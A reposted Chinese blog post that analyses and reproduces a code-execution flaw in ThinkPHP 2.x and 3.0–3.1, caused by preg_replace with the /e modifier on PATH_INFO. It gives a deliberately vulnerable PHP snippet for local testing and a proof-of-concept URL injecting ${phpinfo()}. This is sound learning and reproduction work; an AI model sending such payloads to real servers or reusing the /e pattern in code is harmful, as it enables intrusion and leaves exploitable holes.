Thinkphp 2.x、3.0-3.1版代码执行漏洞分析复现

转载自

文章目录

闲扯

学习代码执行的审计时,遇到了双引号的一些迷惑,搜资料的时候发现了这个漏洞,顺便分析复现一哈。

影响版本

2.x、3.0-3.1

原理分析

关键代码:

$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

总体意思就是用explode函数把url拆开,然后再用implode函数拼接起来,然后带入preg_replace里面。

我们知道,preg_replace的/e模式,和php双引号都能导致代码执行的。
不懂的可以看这个ctf题目:题目

那句正则简化后就是/(\w+)\/([^\/\/]+)/e,解释一下,\w+表示匹配任意长的[字母数字下划线]字符串,然后匹配 / 符号,再匹配除了 / 符号以外的字符。
就是意思匹配连续的两个参数。

假如url是这样 : www.dawn.com/index.php?s=1/2/3/4/5/6
也就是每次匹配 1和2 、 3和4 、 5和6。

然后\\1是取第一个括号里的匹配结果,\\2是取第二个括号里的匹配结果,也就是\\1 取的是 1 3 5,\\2 取的是 2 4 6。

那么就是连续的两个参数,一个被当成键名,一个被当成键值,传进了var数组里面。

而双引号是存在在 \\2 外面的,那么就说明我们要控制的是偶数位的参数。

漏洞复现

方法1:本机搭建下载地址:http://www.thinkphp.cn/extend/219.html
方法2:vulhub里面也有,直接docker启动。(我fq了,不然一直总有一丢丢下不下来)
方法3:也可以自己用这段代码,自己模拟:

<?php
$var = array();
preg_replace("/(\w+)\/([^\/\/]+)/ie",'$var[\'\\1\']="\\2";',$_GET[s]);
?>

本地模拟:

docker搭建:

直接输入payload:

127.0.0.1:8080/indexphp?s=1/2/3/${phpinfo()}/5/6



只要payload不在第二位就行,因为前两位在处理的时候被删了。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值